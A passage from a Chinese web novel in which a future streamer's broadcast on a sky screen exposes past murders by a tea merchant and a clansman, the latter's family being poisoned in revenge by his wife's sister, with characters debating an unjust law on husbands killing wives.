在听到茶商说要让马车送自己后,石南直接冷声拒绝了他的讨好。 然而,就在石南打算拉着小柳离开时,街道的尽头却突然出现了两个身骑红马的人。 石北和海青瑾骑马的速度都很快,俩人一路疾驰,没一会就从道路尽头冲到了茶商的府邸门前。 “吁”的一声,石北和海青瑾拉住缰绳,先后从马背上跳了下来。 石北的交际圈很广,他刚才根据许三九在天幕上提及的线索,在脑海中回忆了一下,很快就发现在这松江府会经常往西北去的蔡姓茶商,他正巧就知道一个。 当石北和石南四目相对上时,俩人立刻便认出了彼此的身份。 因为兄妹俩的眉眼长得有五分相像,当他们站在一起时,很容易就能让人联想到他们应该是存在血缘关系。 时隔多年,兄妹再次相见,石北和石南的情绪一时间都很是激动。 俩人望着彼此,还未张开嘴,眼泪就都已经先夺眶而出。 茶商和他的夫人互相对视了一眼,茶商朝他夫人使了个眼色,示意他夫人赶紧上前去安慰石南,好给他们家挽回一些人情分。 然而,就在这时,众人就听到许三九在天幕上又爆了个大料: 【那蔡姓茶商和他的夫人,为了故意折磨石南,才将石南赐给了那爱家暴的下人】 【他们以为自己这样做,能够让自己泄愤,殊不知,天道好轮回,他们这种行为,也同样为他们家日后的倾覆埋下了伏笔】 【那个下人喝醉酒后,虽然喜欢动手打人,但也同样嘴上没把门】 【他没将石南这个妻子放在心上,也不觉得石南这个妻子能对自己造成什么威胁,所以就将他曾经帮着蔡姓茶商毁尸灭迹的事情,当作功绩给说了出来】 【石南原先觉得自己没权没势,怕把这事情捅出来后,自己也会一命呜呼,但在碰到盛武帝以后,她很快就将这事情告诉给了盛武帝知道】 【虽然当时已经时隔久远,但盛武帝也并没有将这事不当回事,而是按照石南给出的线索,让人特意追查了一番】 【结果这一查,好家伙,原来这个蔡姓茶商除了害死过石南提到的那个人外,还另外再谋杀了一个人】 天幕下,蔡姓茶商及其夫人此刻已经面色一片惨白,身体也摇摇晃晃,仿佛随时要晕过去的模样。 而石北在听到这茶商手头上竟然还沾了人命后,急忙将妹妹石南往自己这边带了带,怕这茶商会狗急跳墙,转而伤害到妹妹头上。 石南注意到哥哥下意识护着她的举动后,心中顿时一暖,感觉自己在这世上好像再也不是无依无靠的浮萍。 【这两个被蔡姓茶商弄死的人,都是原先为蔡姓茶商提供茶叶的茶农】 【当时的茶商与茶农做交易时,基本都是先拿货后付款,而茶农们因为没有销售渠道,所以也只好被迫接受这种交易模式】 【头一个被这蔡姓茶商害死的茶农,就是因为上门找蔡姓茶商追讨货款,然后和蔡姓茶商在书房中争吵了起来。蔡姓茶商一怒之下,抄起桌上的砚台,砸到了那茶农的太阳穴,那茶农当场就暴毙了】 【蔡姓茶商愿意将石南许配给那个下人,也是有想要收买那个帮忙埋尸的下人的想法】 【第二个被蔡姓茶商弄死的茶农,则是因为蔡姓茶商当时想要赖账,所以他在将拿着欠条找上门的茶农糊弄走后,就让人在半道上,将茶农给推下了山崖,然后伪装成是那茶农意外失足才跌下了山底】 【盛武帝在让人查出那蔡姓茶商谋害无辜百姓的罪证后,就直接让人将他们家中的人都关押起来,进行进一步的审问和调查】 【最后,那两个受害的茶农才得以沉冤昭雪。而且,盛武帝在得知那两个茶农的家人,因为家中失去赚钱的主心骨后,生活过得比从前还更加艰辛,便做主将蔡家的财产一分为二,直接当做蔡家的赔偿金,发给了那两个茶农的家人】 天幕下,蔡姓茶商和他夫人听到自家的财富竟然被分给那两个穷鬼茶农的亲属,夫妻俩一瞬间简直是气得脸色一阵青一阵白。 尤其是蔡姓茶商,他丧天良到连茶农的辛苦钱都要赖掉。现在听说自家的家产最后竟然是落到两个自己往日里看不上的茶农家庭,他自然是心痛到仿佛有人在拿刀活生生地剜他的肉。 石北可还记得许三九刚才在天幕上说的那些事情。 眼下见蔡姓茶商俨然一副情绪崩溃的模样,他直接冷哼了一声,朝蔡姓茶商道:“多行不义必自毙,我看你就是活该!” 从蔡姓茶商及他夫人刚才的反应来看,在场的人此刻都已经看出来,蔡姓茶商显然绝对不可能无辜。 而天幕下,一处茅草屋前,一位小姑娘此时正眼神忐忑地望着自己衣衫朴素的母亲,她轻声朝母亲问道: “娘,我爹他不就是去要债后,才找不着他的吗?他会不会就跟三九姐姐说的那样,其实是被那个老板给害了?” 中年女人嘴唇微微发颤,她想朝女儿开口否认,但却发现自己竟然连说话的气都提不起来。 原先没听到丈夫的消息时,她还能在心中欺骗自己,想着丈夫或许在其他地方还活得好好的。 但到了此刻,天幕上许三九说出的信息,都与她丈夫的情况对应上了,她也终于不得不面对丈夫其实早就已经去世的现实。 小姑娘见母亲不说话,只是一味的落泪,瞬间也明白了一切。 原先还因为父亲突然失踪而对父亲心存怨念的她,这一刻,也无法抑制地轻声抽泣了起来。 而随着许三九在天幕上的曝光,松江府的官员们,自然也不用凌戈催促,就很有眼力见地迅速办起了事来。 原本还想对石南老牛吃嫩草的蔡姓茶商,直接就被火速关进了牢狱中。 那个帮着他毁尸灭迹的下人,也一同被逮捕了起来。 那些还被蔡姓茶商拖欠款项的其他茶农们,更是一个个都在官府的帮忙下,终于拿回了自家卖茶叶的钱款。 至于那个受害茶农的妻子和女儿,也拿到了蔡家的一大笔赔偿款。 石北怕有人因此盯上她家的钱财,还特意找上她,问她愿不愿意到自己名下的商会帮忙。 那茶农妻子虽然文化低,但也知道“怀璧其罪”的道理,便接受了石北的这个善意帮助,带着女儿搬到了石北那边居住。 石南因为同情她们母女的遭遇,便时常去看望她们,想看自己能不能帮上她们母女什么忙。 等到之后石北为她请来各种老师授课时,她更是邀请那茶农的妻女也一起来旁听课程。 无论是石南,还是那茶农的妻女,她们都是知道学习机会有多珍贵的人,所以每次在学习时,都格外认真和努力。 凌戈之后在从石北寄来的信中,得知石南她们在学习的情况后,还特意给她们写了封信,在信中激励她们好好学习。 而石南虽然早就从天幕那得知自己哥哥是当今圣上的发小,但因为石北很少在她面前特意提及凌戈,所以她其实一直都没有太深刻的感受。 但等到她收到凌戈的回信,见凌戈这样一位掌管整个天下的皇帝,竟然还注意到她们学习这样的小事后,她这才领悟到,原来天幕说的确实不假,她哥竟然和皇帝真的是关系很深厚的好朋友。 石南一时间更是越发努力学习,生怕自己学的不好,会丢了自己哥哥的脸。 第82章 直播9:灭门大案 2月份的京师很是热闹,先是石北和石南兄妹团圆的事情,引起了京师人不少关于“善恶有报”的感慨。 但等到中旬,县试开场,众人的注意力,就一下子都转移了县试的事情上面。 今年的这场县试,比以外任何一次都更加引人注意。 因为今年是开天辟地头一回,允许女子也报名参加科举考试。 而且,就连孟雪姝这个准皇后,也都报了名。 朝野上下在私下里,都对她的应举成绩很是感兴趣。 若是常人,面对这样的关注,肯定会感到巨大的压力,甚至很可能会发挥失常。 但孟雪姝却是个强心脏,即使在踏入考场那天,很多人包括考生的目光都落在了她的身上。 她也依然神情淡定,处变不惊,心志丝毫没有受到那些关注的干扰。 所以,水平正常发挥的她,顺利通过县试,且还是县案首,这自然也就是水到渠成的事情了。 凌戈在前阵子便已经对科举出台了新规定,要求各地无论在科举哪一阶段,都必须将录取考生的答卷誊抄并张贴出来,公示于众。 所以,孟雪姝的试卷一经公布,自然是立刻就迎来了各方势力的审视。 不过,即使是抱着挑剔心思打算找茬的人,在仔细阅读了孟雪姝的考卷后,也不得不承认,孟雪姝确实是文采斐然,字里行间都透露着满满的才华。 至于孟雪姝找代笔的这种可能性,只要是有脑子的人,都知道绝不可能。 因为自从许三九在天幕上提及孟雪姝后,京师明里暗里不知道有多少双眼睛都在关注着孟雪姝那边的动向。 如果孟雪姝真的提前得知考题,并且找人代笔,那这事绝对瞒不过天下人的眼睛。 而凌戈虽然人在宫中,但在得知孟雪姝是县试头名的消息后,也毫不避嫌,直接大大方方就让人从宫里给孟雪姝送去了一份他早就为孟雪姝准备好的贺礼。 而这次的京师县试,通过的女子除了有孟雪姝外,还有另外一个名叫时宝伽的女子。 虽然这时宝伽的排名并没有很靠前,但她也依然成为了大盛朝屈指可数的女童生。 而当天幕重新出现在大盛的天空上时,这位时宝伽的家中正热闹非凡,因为今天是她出嫁的日子。 【宝子们,今天这一期视频,三九我要介绍的,是发生在盛武帝登基次年,也就是晏安二年时,轰动京师乃至整个大盛朝的一宗灭门案件】 【被灭门全家的人,是大盛朝的宗室远支】 【所以真算起来,这一家子还和咱们盛武帝男神有点血缘关系,属于是远房亲戚】 天幕下,所有宗室远支瞬间都是神情一凛。 大家都生怕自家会成为许三九口中那个被灭门的倒霉蛋。 而时宝伽的家人们,以及带着花轿和仪仗队前来迎亲的新郎,神色也霎时间多了几分紧张。 因为时宝伽今天要嫁的盛峰,他家中就是宗室远支。 刚才许三九出现在天幕上时,盛峰正好是带着伴郎们,打算接走时宝伽这个新娘,但却被时家这边亲友团拦在院外,被起哄着要求作答催妆诗。 盛峰和伴郎们之前就已经知道今天迎亲会有“拦门”这一热闹环节,所以自然是早已准备了几首说得过去的催妆诗。 原本,时宝伽这边的亲友团,已经打算给盛峰他们放行,但天幕的突然现身,打断了大家的节奏。 而皇宫里,凌戈原本正陪盛昭帝坐在窗边赏梅饮茶。 当听到许三九说有宗室一家被灭门,他只是微微拧眉,神情倒还算淡定。 但盛昭帝向来是觉得皇家尊严不可冒犯,所以听到竟然有人敢对宗室下手,甚至还是灭门全家,他脸上瞬间就出现了不满和怒意。 如果不是因为顾忌到自己如今已经退位,凌戈才是这天下之主,盛昭帝甚至都想下令,让人待会在许三九说出那凶手之后,立刻就去将那真凶给逮捕起来。 因着“全家灭门”这事听起来过于耸人听闻,而且还牵扯到了皇家,所以此刻大盛各地的人,都瞬间目露好奇地望着天幕上的许三九。 【这一户被灭门的人,按三九我的看法,其实真就是只能用“活该”这两个字来形容】 【尤其是那个死人渣盛峰,他家会被灭满门,全都该感谢他的缺德】 天幕下,时家的亲友团和跟着盛峰来迎亲的伴郎们,此刻都一脸震惊地望向盛峰。 盛峰自己也一脸错愕,甚至眉眼间还浮现出了几分恐惧之色。 此时,盛峰的心中只有一个念头,那就是赶紧找出那杀害自己全家的凶手,然后让其付出惨痛的代价。 而本来坐在房间中的时宝伽,此刻则是不顾旁边喜娘的惊呼,她直接一把拿下了自己的盖头,站起身走到了窗户边。 时宝伽想知道,自己的未婚夫到底是做了什么,才会被天幕上那位许三九姑娘用“人渣”这种严重的词来称呼。 喜娘这时则是一脸着急地拿着那块红盖头,还想要把它重新披到时宝伽的头上。 时宝伽今年5岁的妹妹时宝笙看到喜娘这一举动后,瞬间皱起了眉头,板着小脸,双手大张开,拦在了喜娘的去路上。 喜娘:“哎哟,我的小祖宗哟,今儿可是你姐姐大喜的日子,你可不能在这个时候还来和大人捣乱!你这要是坏了你姐姐的大事,你看你姐姐往后怨不怨你!” 时宝笙并没有被喜娘的这话给吓到,她眼睛睁得圆溜溜,瞪着喜娘,大声说道: “我姐姐才不会讨厌我!她刚才拿下那块盖头,就是因为她不喜欢盖,我不准你再把它盖回去!” 喜娘看到时宝笙压根不听自己的话,顿时就有些不耐烦了,抬起手就想要将她给推到一旁去。 然而,喜娘刚抬起手,注意到这边动静的时宝伽,已经从窗边处重新走了过来。 时宝伽一把将妹妹时宝笙带到自己身边,手轻轻地搂住时宝笙。 时宝笙仰头看向姐姐,就见到姐姐正一脸严肃地望向喜娘,说道: “宝笙她刚才确实说得没错,我现在没心思盖那什么盖头,我更在乎许三九姑娘接下来会说什么。而且,你也用不着拿那些话来吓唬宝笙她一个小孩,我是宝笙她亲姐姐,我永远都不可能会怨恨她这个妹妹!” 时宝笙听到姐姐这番话,心中一时间更是甜滋滋。 而喜娘脸色却是骤然间变得很难看,觉得时宝伽实在是不给自己面子。 她望向时宝伽的母亲,朝时母抱怨道:“时夫人,你可管管你家这两个女儿吧?!我给人当喜娘这么多年,我就没见过哪家的新娘子,会自己把红盖头从头上拿下来的,这多不吉祥啊!要是被新郎那边知道了,指不定得闹出多少麻烦事来呢!” “话是这么说,但是……”时母语气有点犹豫不决,“这天幕上的三九姑娘都说他是人渣了,难道我们家宝伽还要跟他继续成婚吗?” 喜娘听到时母这话,瞬间瞪大了眼睛,她一脸不可思议地望着时母道:“这门婚事只差迎亲这一步,就能办完了,你们家难不成还打算悔婚不成?” 时母看到喜娘反应这么大,顿时就打算改口,但她还没开口,就已经被了解她性格的时宝伽给拦了下来。 时宝伽直接抢先出声道:“这门婚事要不要继续,等今天的天幕结束后,我们再来讨论这件事!” 喜娘知道时宝伽性格颇为强势,既然她都这么说了,那就肯定不可能改变主意。 不过,感觉被落了面子的她,还是忍不住阴阳怪气了一句: “我就说女孩子没必要读那么多书,这读得都不知道什么是女子应有的贤良淑德了!” 时宝伽懒得搭理她,直接拉着妹妹和母亲走向窗户。 许三九这时在天幕上说道: 【相信宝子们听到这,肯定都很好奇,到底是什么人,才会和盛峰有如此深仇大恨,以至于要灭他家满门】 【而如果要追溯盛峰一家被灭门的缘由,那就得从盛峰娶了他第一任妻子时宝伽开始说起】 天幕下,听到许三九提及时宝伽,盛峰顿时就皱起了眉头。 他瞬间在心中下定了决心,如果自己被害的事情与时宝伽有关,那他绝对就要休了时宝伽。 【根据史料记载,时宝伽很是聪慧机敏,且相貌姣好】 【但盛峰他却是个喜新厌旧的渣男,所以他在娶了时宝伽以后,并不晓得要珍重时宝伽这个妻子】 【新婚还没超过半年,盛峰就从青楼里赎买了一个妓女回家当自己的妾室,且之后还隔三差五就往家中带人回来】 【于是,不出七年的时间,盛峰的后宅就变得莺莺燕燕、妻妾成群】 【在这种情况下,后宅之中的女子们,为了争夺盛峰的宠爱,自然不免明争暗斗】 【而时宝伽作为盛峰的正妻,虽然她和盛峰关系冷淡,但还是成为了一众妾室的眼中钉】 【那些想要往上爬的妾室,为了自己的恩宠,自然是没少在盛峰面前说时宝伽的坏话】 【而盛峰也不知道是真傻还是装傻,每回只要有妾室在他面前说时宝伽的坏话,他就都会去时宝伽那边大发一通脾气】 天幕下,一个陪着盛峰一起过来的伴郎,听到这里时,忍不住朝盛峰猜测说道: “难不成这个时宝伽,竟然是因为妒忌,便下手害了盛郎君及您的一众家人?” 盛峰咬牙切齿地点了点头:“我看应该就是如此了!我盛峰真是家门不幸,竟然娶了她这么一个毒妇!” 然而,就在盛峰话音刚落下时,众人就听到许三九在天幕上说道: 【时宝伽正是在一次冲突中,被怒气上头的盛峰给亲手掐死的!】 【而盛峰因为怕这事捅出去,自己会锒铛入狱,便对外谎称说时宝伽是上吊自尽】 天幕下,众人望着盛峰的眼神,瞬间就都怪异了起来。 第83章 直播9:他还真以为自己…… 天幕下,当听到自己被盛峰给掐死,时宝伽先是楞了一下,随后便冷笑了一声。 而时宝笙虽说今年才5岁,但也听懂了许三九刚才说的话。 她忍不住紧紧地搂住了姐姐的手,小脸紧绷到甚至有些发白。 时宝伽注意到妹妹的身体竟然在微微颤抖,她抬手轻抚了下妹妹的头顶,安慰说道: “没事的,宝笙,有三九姑娘的提醒,姐姐不会再嫁给他了。” 刚才原本还对时宝伽有意见的那喜娘,此刻听到时宝伽这话,也不敢再出声说什么,生怕自己会遭受到时家的责备。 而院门外的盛峰,此刻见周围其他人望向自己的眼神,都带上了防备以及警惕,他瞬间是恼怒得不行。 盛峰很想朝那些人破口大骂,但他知道自己此刻的当务之急是洗清自己“杀妻”的名声,否则他的未来基本就毁了。 于是,他按捺下自己心中的怒火,努力压着脾气,朝身边众人大声道: “这件事说不定是有什么误会,你们大家别被这个许三九给误导了!她不过就是后世一个普通女子,谁敢保证她说的那些话,就一定是真实的事情呢?” 时宝伽的父亲从刚才就一直沉默着,但直到此刻,他终于忍不住出声朝盛峰驳斥道: “那三九姑娘她又不知道咱们能看到这天幕,她有何必要说谎欺骗我们全天下人?” 时宝伽的大哥这时也是铁青着脸,他直接就朝盛峰下逐客令道: “我妹妹不可能再和你这个杀人犯成婚,你立刻带着你的人,滚出我们时家去!” 盛峰接连被时父和时家大哥这样当众下面子,他心中霎时间更是怒火暗涌。 在今天之前,盛峰虽然表面对时父和时家大哥态度客气,但其实心中都一直没将他们太当回事。 在盛峰看来,自己愿意娶时宝伽,时家理应对自己感恩戴德才对。 毕竟,他虽说无官无职,但到底也是宗室远支,属于皇家血脉,而时父和时家大哥不过就是两个不起眼的八品小官。 时父和时家大哥的怒斥,让盛峰感觉自己受到了冒犯。 然而,众人的注意力,此刻根本不在他身上,因为大家听到许三九在天幕上说道: 【虽然盛峰在杀害了时宝伽后,就对外宣布说时宝伽是上吊自尽,但按照当时大盛的法律,自杀横死者需要接受衙门的验尸官检查。只有等验尸官确认死者真是自缢身亡后,死者的尸体才可以下葬】 【盛峰怕自己杀妻的真相被查出,便砸重金收买了当时京师衙门一位名叫马洪原的验尸官,让他帮自己把事情给掩盖过去】 【而那位马洪原,在收到了盛峰的重金贿赂后,也很是配合,迅速就以自缢作为时宝伽的死因调查结果】 天幕下,京师衙门里。 马洪原听到自己的名字竟然在天幕上被提起,而且还是因为那样不可告人的事情,他脸上血色瞬间褪尽,嘴唇也跟着一阵发白。 他望向身边的一众同僚,试图想找其他人寻求帮助。 然而,所有人都转头避开了他的视线,生怕在这时与他发生任何牵扯。 而这些人此刻脸上的神情,也都很是值得玩味。 那些自身没做过亏心事的人,神情都还算是淡定,只是不愿意在这时与马洪原产生瓜葛,怕自己会黄泥巴掉□□,怎么都说不清。 而那些知道自己其实也经不起细查的人,则是一个个努力强装镇静,生怕自己会惹来他人的怀疑。 不过,当看到两个衙役径直从外面走进来,迅速就把马洪原带走,那些自身也不干净的人,更是一个个吓得心都提到了嗓子眼,感觉分分钟下一个就要轮到自己。 当然,他们的这种预感也并不是错觉。 因为皇宫里,凌戈此刻就已经决定,要先从京师彻查起,看看过往是不是也存在像许三九在天幕上所说的那种冤假错案。 …… 【盛峰这个人渣,他以为自己有了马洪原的帮助,就可以将时宝伽的真实死因给掩盖过去】 【然而,他却不知道,有一个人,从头到尾都不相信时宝伽会自缢而亡】 【这个人正是时宝伽的亲妹妹,也就是之后灭了盛峰全家的时宝笙】 天幕下,听到许三九这话,时宝伽瞬间一脸惊讶地低头望向脸上还带着婴儿肥的妹妹。 而时宝笙从小就聪慧,见姐姐时宝伽朝自己看过来,她瞬间朝姐姐露出了一个甜甜的无辜笑容。 时宝伽当然知道古灵精怪的妹妹是在朝自己卖乖,她无奈地摇头笑了笑: “罢了,左右你也是为我报仇,我是最没有资格说你什么的人。” 站在一旁装透明人的喜娘,见时宝伽竟然那么容易就接受了她妹动手杀了盛峰全家这件事,不由惊得瞠目结舌。 时宝笙注意到她目瞪口呆的表情后,想到她刚才对姐姐说的那些话,就故意双手扒住下眼皮,朝她做了个恐吓的鬼脸。 时宝笙现在在喜娘眼中,就是个杀人不眨眼的小魔头形象,所以见时宝笙竟然朝自己做鬼脸,她瞬间吓得连连后退,脚步甚至还踉跄了几下。 时母注意到她吓唬喜娘的行为后,不赞同地瞪了她一眼,然后又朝喜娘说道:“真是对不住,我们家宝笙年纪还小,不懂事,还请大娘你别和她一个小孩计较。” 喜娘听到时母朝自己道歉,又注意到时宝笙在眼睛冷冷地瞪着她,再想到天幕上说“时宝笙”灭门盛峰全家的事后,她不由吓得打了个哆嗦,急忙朝时母道: “没事没事,时夫人您不用道歉,是我该向您和您家二位小姐道歉才是!刚才都是我自己嘴贱,我不会说话,才惹得大家不开心,我以后绝对不会再这样了。” 喜娘说完后,吓得转头就急忙跑出了院子。 时宝笙看到她落荒而逃的模样后,直接“噗嗤”一声就笑了起来。 时母看到她这模样,忍不住抬手轻轻点了下她的额头,“你这个小不点,现在这事情闹得满天下都知,我看你长大以后还怎么嫁人?” 时宝笙听到母亲这话,直接撇着小嘴道:“我才不稀罕什么嫁人呢!我长大以后要和姐姐一样考科举!” 时宝伽向来宠着妹妹,再想到妹妹还为了自己做出那样冒天下大不讳的事情,自然就更是心疼妹妹。 于是,她忍不住在此刻护着妹妹,朝母亲转移话题道:“娘,我看宝笙她向来聪明机灵,不如我们从今日就开始为她启蒙吧?” 时母见时宝伽提起这事,想到女子如今确实也能参加科举,况且时宝伽还已经考上了童生,便点了点头,道: “行,那就听你的。正好我之前还老是烦心着,这丫头小小年纪就性子跟头倔驴似的,以后婚事上面可能会不顺。现在出了这么一桩子事,我往后倒是不用再烦恼这丫头的婚事了。” 时宝笙本来就不耐烦什么婚事,听到时母这话后,她自然更是一脸喜滋滋,乐得像是只掉进了蜜罐里的小老鼠。 时宝伽和时母在看到时宝笙这副模样后,脸上也都不禁染上了笑意。 但在听到许三九随后说出的话后,她们脸上的笑意又转瞬间消失了。 【虽然时宝伽在时宝笙五岁那年,就嫁到了盛峰家中,但时宝笙还是一直很喜欢时宝伽这个姐姐,将时宝伽这个姐姐视为了自己崇拜的对象】 【两姐妹的关系,并没有因为年龄差距和成婚这事而变得疏远】 【所以,在了解姐姐坚韧性格的时宝笙看来,姐姐是绝对不可能会选择自缢身亡的人】 【而为了调查姐姐死亡的真相,当时别无他法的时宝笙,只好以自己作为诱饵,以身犯险,作为盛峰的续弦,嫁进了盛峰家中】 天幕下,听到盛峰那个畜生竟然敢娶自己的妹妹作为续弦,时宝伽脸色瞬间就黑了下来。 因为她很清楚地知道,盛峰那个人渣,可是比自己妹妹足足大了十二岁。 时宝笙看到姐姐一副气得不轻的模样,便摇了摇姐姐的手,安慰姐姐道: “姐姐,你别生气了,我还杀了那个坏蛋和他全家呢!这笔账,我可是赚到了的!” 时宝伽听到妹妹这么说,瞬间神情严肃地望向妹妹,说道: “宝笙,在姐姐看来,即使盛峰他一家死上千万遍,也都依然比不上你!姐姐希望你能答应我,未来无论遇到什么事情,都不要再为姐姐做出如此大的牺牲!” 看到姐姐神情这么认真,时宝笙撅起小嘴,朝姐姐撒娇道:“哎呀,姐姐,这以后的事情,我就算现在答应了你,以后也说不定会变呀。” 时宝伽看到妹妹这般表现,瞬间越发明白妹妹这是在糊弄自己。 她被妹妹气得不行,想逼妹妹必须答应自己,但又知道以妹妹的性格,就算现在一时给了自己许诺,之后也未必会真的老实遵守。 而就在这时,众人就听到许三九在天幕上冷笑了一声: 【盛峰那个蠢货,他还真以为自己魅力非凡,所以才能够吸引到时宝笙这个年纪轻轻的小姨子】 【他根本不知道,随着时宝笙嫁进他家中的时日越长,他留在这世间的时日也就越短】 【时宝笙自从嫁给盛峰做续弦以后,她表面看着对盛峰是推崇至极,态度也很是热情,但实际上,她私下里一直都在调查姐姐当年的死因】 【而这世上从来就不存在不透风的墙,盛峰以为自己当年的事情做得天衣无缝,但却不知,这府中其实有不少人猜到了真相,甚至还有人目睹了盛峰害死时宝伽的整个经过】 第84章 直播9:法律的不公,滋…… 天幕上,许三九望着镜头说道: 【时宝笙在确定盛峰就是杀死她姐姐的凶手后,她很快便开始谋划起了自己的复仇计划】 【于是,在盛峰生日的那天,当盛峰的父母都乐呵呵地帮着自家儿子庆生时,时宝笙端来了一锅含有剧毒的鸡汤】 【因着时宝笙从前在盛峰面前,一直表现得极其在乎盛峰,俨然一副以夫为天的模样,所以盛峰和他的父母都没有对那锅鸡汤产生任何怀疑,还以为时宝笙是对盛峰一片真情实意,才会特意下厨为盛峰熬煮鸡汤】 【然而,时宝笙的这一锅鸡汤,除了是为盛峰准备的之外,其实也是为盛峰父母所准备】 天幕下,盛峰此时已经被时父和时家大哥给赶出了时家的大门。 他一走出时家,就立刻阴着脸用力扯下了身上的红色喜服。 当听到许三九说时宝笙连他父母也打算一同毒死时,他咬牙切齿地望向身边的伴郎们,试图寻求认同感: “你们听听,这些时家的疯女人是不是丧心病狂到了极点!” 伴郎们一个个沉默不语,都不想搭理盛峰,甚至还有人当场忍不住翻了个白眼。 在大家看来,盛峰是最没有资格抱怨这事的人。 盛峰才是这一切事情的祸端,要不是他心狠手辣到杀妻,那时宝笙又怎么会想要对他报仇雪恨? 伴郎们如今也没心思再和盛峰待一起,生怕别人会认为他们与盛峰关系紧密,于是一个个连招呼都没和盛峰打一声,就匆忙离开。 盛峰看到他们这副把自己当做洪水猛兽的模样,自然更是气得不轻,但同时心中也翻涌起一阵恐惧。 和时宝伽、时宝笙她们姐妹不同,盛峰对于结婚这件事,是极其重视的,甚至将其视为人生头等大事。 但随着许三九在天幕上的剧透,盛峰现在开始对自己未来的婚事感到了惶恐。 他心中很明白,他往后的婚事,将会成为一个老大难的问题。 想到这,盛峰忍不住抬头望向天幕上的许三九,眼神中充满了阴鸷的恨意。 不过,盛峰的感受如何,对远在后世的许三九而言,当然造不成任何影响。 许三九在天幕上,神情放松地说道: 【可能有宝子刚才听到我说时宝笙连盛峰的父母都没放过,心中会觉得时宝笙是不是做得太绝了,毕竟一人做事一人当,杀人的是盛峰,又不是盛峰的父母】 【但事实上,盛峰的父母虽然不是杀害时宝伽的元凶,可盛峰在杀了人以后,却是第一时间就把这件事告知给了他们知道】 【而且,那个验尸官马洪原,就是盛峰他父母帮着自家儿子找来的关系】 【所以说,时宝笙将盛峰他父母视为帮凶,其实也并不难理解】 【再者说了,时宝伽生前还在世时,可没少受盛峰他父母的刁难和责备】 【每次只要盛峰在外面闯下祸事或者惹了麻烦,盛峰他父母都会将责任推到时宝伽的头上,说是时宝伽这个妻子没用,连丈夫都辅佐不好】 【时宝笙早就对这两个老东西看不顺眼了,再得知他们俩人还给盛峰当帮凶后,就决定连他们俩人也一起毒死】 【时宝笙在那锅鸡汤中下了剧毒,盛峰和他父母喝下以后,很快就毒发身亡】 【为了帮姐姐解气,同时也让盛峰和他父母感受到死亡的痛苦,时宝笙还特意挑了一款毒性很是猛烈的毒药,让盛峰和他父母在经历了一番犹如肝肠寸断的折磨后,才最终断气身死】 天幕下,时宝笙听到这里时,她虽然还对生死没有太深刻的认知,但在听到盛峰和他父母的这个结局后,她脸上还是忍不住露出了一个欢喜的笑容。 时宝笙对一切欺负自家姐姐的人都没好感,觉得他们都是这天下最坏的恶徒。 而时宝伽在看到妹妹的笑容后,心中不禁想着,若是让外面人看到妹妹此刻脸上的神情,肯定会有人跳出来指责她妹妹麻木不仁、冷血残忍。 不过,她并没有对时宝笙的笑容出声表示不赞同,相反,她脸上也露出了和妹妹一样的高兴笑容。 时宝伽无法否认,妹妹替自己报仇的手段,确实让她听得很是开怀解气。 不过,时宝伽的笑容,并没有维持超过一秒,因为她下一瞬就听到许三九在天幕上讲道: 【时宝笙在杀死了盛峰和他父母之后,也没有打算继续活在这世上】 【她直接找到了京师衙门,将自己毒杀了盛峰和他父母的事情都向官府自首了出来】 【当时社会对女子的要求是三从四德,所以时宝笙毒死盛峰和他父母的事情很快就在整个京师引起了轩然大波】 【就连身在宫里的盛武帝和孟皇后,也同样得知了这起案件的存在】 【在这样万众瞩目的情况下,京师府尹开堂审讯时宝笙的那天,府堂门口处自然是被好奇的民众们围得水泄不通】 【当时,在很多人的心中,时宝笙就是个蛇蝎心肠的毒妇,所以在衙役将时宝笙带到堂上来受审时,围观的百姓都对她指指点点,俨然一副把她当罪人看待的模样】 【时宝笙面对这群情激奋的模样,她反倒是神情很淡定,直到京师府尹朝她问起她杀人的动机时,她那张心如死灰的脸,才开始浮现出些许感情的波动】 【时宝笙之所以大张旗鼓地到京师衙门自首,为的就是让世人知道她姐姐死亡的真相】 【于是,在府尹开口询问后,她便将盛峰杀害自己姐姐的事情,及自己找到的相关证据和证人,都一一说了出来】 【得知这起灭门案的背后,竟然还隐藏着一起多年前的杀妻案,无论是府尹还是门外围观的京师群众,自然都是感到一阵出乎意料】 【由古至今,“杀人偿命”都是百姓心中朴素的正义观,所以在得知时宝笙竟然是为姐报仇后,不少百姓的态度就偏向到了她那边,觉得她那样做也是情有可原】 【京师府尹知道自己这桩案件备受朝野关注,甚至盛武帝和孟皇后此刻就身着常服,和众多百姓站在府堂门外,一起关注着这起案件的进展】 【所以,眼见有部分百姓开始替时宝笙说话,京师府尹害怕盛武帝觉得自己办案不力,就急忙拍了下惊堂木,示意门外百姓安静,随后又朝时宝笙表示道,说大盛朝自有律法主持公道,既然她知道盛峰杀害了她姐姐,那她就该选择到官府报案才是,不该采用私刑进行报复】 天幕下,皇宫里,盛昭帝本来正在因为凌戈和孟雪姝微服出行这事而皱眉,听到那京师府尹的话后,他不由赞同地点了点头。 在盛昭帝看来,虽然时宝笙事出有因,但若是人人都像她那般行事,这社会秩序可就乱了套了 然而,熟读大盛律法的凌戈,在听到那府尹的表态后,却是轻轻蹙了下眉头。 小蓝球系统飞在他旁边,注意到他神情的细微变化后,便朝他问道:“凌戈,怎么了,这府尹说的话不对吗?” 凌戈在心中叹了口气,朝小蓝球系统道:“你接着听下去,你很快就会明白了。” 小蓝球系统知道凌戈向来不是说空话的性子,因此,便好奇地望向天幕上的许三九。 果不其然,他转瞬就听到许三九在天幕上说道: 【相信很多宝子听到这,应该都会觉得这京师府尹的提议很有道理,毕竟私刑一旦泛滥的话,法律秩序和社会治安就会受到巨大的冲击】 【然而,想要让民众选择用法律来替自己主持公道的话,有个重要前提,就是这个法律体系需要足够公平公正】 【所以,时宝笙在听到京师府尹的话之后,直接就冷冷地笑了一声,然后朝京师府尹询问道,按照大盛律法,夫杀妻,最严重的的刑罚是什么】 【京师府尹能在京师这种卷王遍地的地方当上知府,自然不可能是什么废物蠢货,所以在听到时宝笙的询问后,他脑海中很快就浮现出了相关的法律条款】 【按照当时的大盛律法,杀人确实需要偿命,但唯有夫杀妻例外,最严重的处罚也不过就是发配边疆,充入边军】 小蓝球系统听到这,直接就很不满地“嗤”了一声,朝凌戈说道: “难怪这个时宝笙她要亲自替姐姐报仇,要换做是我,我肯定也和她这样做!一命还一命,这样才叫做公平嘛!” 凌戈闻言,在心中回小蓝球系统道:“法律的不公,正是滋生私刑的温床。” 他当初在翻阅大盛律法时,看到这一条夫杀妻的规定,就感觉很是不妥,觉得无论这条规定的出发点是什么,最终都会酿成恶果。 现在,许三九在天幕上的剧透,确实也验证了他当时心中的判断。 